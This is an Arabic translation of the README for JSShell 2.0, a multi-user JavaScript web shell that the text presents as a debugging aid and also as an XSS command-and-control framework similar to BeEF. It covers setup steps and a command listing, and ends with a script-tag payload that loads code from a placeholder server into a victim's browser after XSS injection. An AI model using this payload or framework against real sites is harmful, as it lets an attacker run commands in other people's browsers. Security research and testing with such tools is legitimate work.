
شل ويب جافاسكريبت تفاعلي متعدد المستخدمين
صدفة جافا سكريبت تفاعلية متعددة المستخدمين تعتمد على الويب. تم إنشاؤها في البداية لتصحيح المتصفحات البعيدة غير التقليدية أثناء التجارب والأبحاث. يمكن ربط هذه الأداة بسهولة بحمولة XSS (البرمجة النصية عبر المواقع) لتحقيق تنفيذ تعليمات برمجية عن بُعد في المتصفح (على غرار إطار عمل BeeF).
تم إنشاء الإصدار 2.0 من الصفر، مع إضافة ميزات جديدة ومثيرة، والاستقرار، وقابلية الصيانة.
<script>في مجلد resources، قم بتحديث ملف config.json بالتكوين المطلوب:
db (وهو اسم المضيف الداخلي).shell.js باستدعاءات AJAX للتسجيل والاستعلام عن الأوامر الجديدة. عادة ما يكون http[s]://{IP_SERVER}:{PORT}.الآن يدعم JSShell TLS، مما يعني أنه يمكنك إنشاء شهادات TLS وإطعامها لخادم الويب. سيقوم خادم الويب باستنتاج اسم النطاق من ملف config.json. لإنشاء الشهادة، استخدم البرنامج النصي create_cert.py في مجلد scripts:
$ cd scripts
$ python create_cert.py --domain <نطاقك> --email <بريدك الإلكتروني>
يرجى ملاحظة أنه يجب إيقاف تشغيل خادم الويب حتى يعمل البرنامج النصي بشكل صحيح. في هذه المرحلة، قمنا بنجاح بإنشاء شهاداتنا! التعديلات الوحيدة التي نحتاج إلى إجرائها هي:
config.json، قم بتغيير مخطط حقل URL إلى https.docker-compose.yml قم بتغيير المنفذ المكشوف لحاوية web إلى 443.يدعم هذا الإصدار الجديد تثبيت وتشغيل JSShell عبر docker و docker-compose. الآن، لتثبيت وتشغيل إطار عمل JSShell بأكمله، قم بتشغيل الأمر التالي:
$ ./scripts/start_docker_shell.sh
سيقوم هذا بما يلي:
إذا كنت لا تزال ترغب في استخدام طريقة التثبيت التقليدية، تأكد من تشغيل قاعدة بيانات MongoDB وتحديث ملف config.json الموجود في مجلد resources.
أوصي باستخدام بيئة افتراضية مع pyenv:
$ pyenv virtualenv -p python3.6 venv
$ pyenv activate venv
أو باستخدام virtualenv:
$ virtualenv -p python3.6 venv
$ source venv/bin/activate
ثم قم بتثبيت المتطلبات:
$ pip install -r requirements.txt
إذا استخدمت طريقة Docker، فلا حاجة لتنفيذ الإجراء التالي.
بخلاف ذلك، بمجرد إعداد قاعدة البيانات، نحتاج إلى تشغيل خادم API الويب. للقيام بذلك، قم بتشغيل:
$ python manage.py web
سينشئ هذا خادم ويب يستمع للاتصالات الواردة ويخدم كود JSShell الخاص بنا.
الآن لبدء تشغيل واجهة سطر الأوامر JSShell، قم بتشغيل نفس البرنامج النصي ولكن مع علامة shell:
$ python manage.py shell
بعد الإعداد وتشغيل المكونات المطلوبة، أدخل الأمر help لرؤية الأوامر المتاحة:
╦╔═╗┌─┐┬ ┬┌─┐┬ ┬
║╚═╗└─┐├─┤├┤ │ │
╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0
by @Daniel_Abeles
>> help
Documented commands (type help <topic>):
General Commands
--------------------------------------------------------------------------------
edit Edit a file in a text editor
help List available commands or provide detailed help for a specific command
history View, run, edit, save, or clear previously entered commands
ipy Enter an interactive IPython shell
py Invoke Python command or shell
quit Exit this application
Shell Based Operations
--------------------------------------------------------------------------------
back Un-select the current selected client
clients List and control the clients that have registered to our system
commands Show the executed commands on the selected client
dump Dumps a command to the disk
execute Execute commands on the selected client
select Select a client as the current client
>>
يدعم JSShell طريقتين للتشغيل:
على غرار أطر التحكم في XSS الأخرى (مثل BeeF)، يمكن لـ JSShell إدارة استغلالات XSS الناجحة. على سبيل المثال، إذا كان بإمكانك حقن وسم script، فاحقن المورد التالي في حمولتك، وسيظهر عميل جديد في وحدة التحكم الخاصة بك:
<script src="http[s]://{IP_SERVER}:{PORT}/content/js"></script>
إذا كنت ترغب في تصحيح المتصفحات غير التقليدية والغريبة، يمكنك ببساطة الانتقال إلى http[s]://{IP_SERVER}:{PORT}/ وسيظهر عميل جديد في عميل JSShell CLI الخاص بك. والآن يمكن تصحيحه عبر وحدة تحكم JSShell الخاصة بنا.
Canop لـ JSON.prune